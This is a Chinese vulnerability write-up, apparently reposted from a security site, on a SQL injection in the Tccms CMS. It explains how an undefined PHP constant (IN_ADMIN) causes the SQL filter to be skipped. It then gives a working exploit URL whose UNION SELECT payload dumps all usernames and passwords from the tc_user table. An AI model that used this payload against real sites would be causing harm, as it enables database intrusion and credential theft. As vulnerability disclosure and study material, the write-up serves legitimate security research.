Tccms sql注入#2

没穿底裤 2020年1月1日04:21:02评论346 views字数 999阅读3分19秒阅读模式
摘要

常量未定义。看到 /system/core/controller.class.php[php]private function forceAttack() {$attack = M('attack');


漏洞作者: roker

常量未定义。

看到 /system/core/controller.class.php

[php]

private function forceAttack() {

$attack = M('attack');

if (Config::get("blackcheck") == 1 && !defined('IN_ADMIN') && $_GET['ac'] != 'common_newCode') {

$canBePass = $attack->checkForbidden();

if ($canBePass) {

$this->setValue("error", Config::lang("YOUAREPROHIBITED"));

$this->forward("error.html");

exit;

}

}

 

if (Config::get("checkHack") && IN_ADMIN != TRUE) {

$attack->initLogHacker();

}

}

[/php]

当Config::get("checkHack") && IN_ADMIN != TRUE 时 调用 initLogHacker,过滤sql。

checkHack默认是为true的 然而 IN_ADMIN 常量是未定义的 在 php中 如果使用了一个未定义的常量,PHP 假定想要的是该常量本身的名字,如同用字符串调用它一样(CONSTANT 对应 "CONSTANT")。此时将发出一个 E_NOTICE 级的错误(参考 http://php.net/manual/zh/language.constants.syntax.php)

此时 IN_ADMIN = "IN_ADMIN " 所以 为 true的。

if (Config::get("checkHack") && IN_ADMIN != TRUE) 逻辑不成立 导致 sql过滤函数调用失败。

我们注册用户后

访问

[php]

http://localhost/index.php?ac=news_all&yz=1%20union%20select%20group_concat%28username,0x23,password%29,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29%20from%20tc_user%23

[/php]

漏洞证明:

Tccms sql注入#2

 

爆出管理员在内的所有用户信息

 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日04:21:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Tccms sql注入#2https://cn-sec.com/archives/75770.html

发表评论

匿名网友 填写信息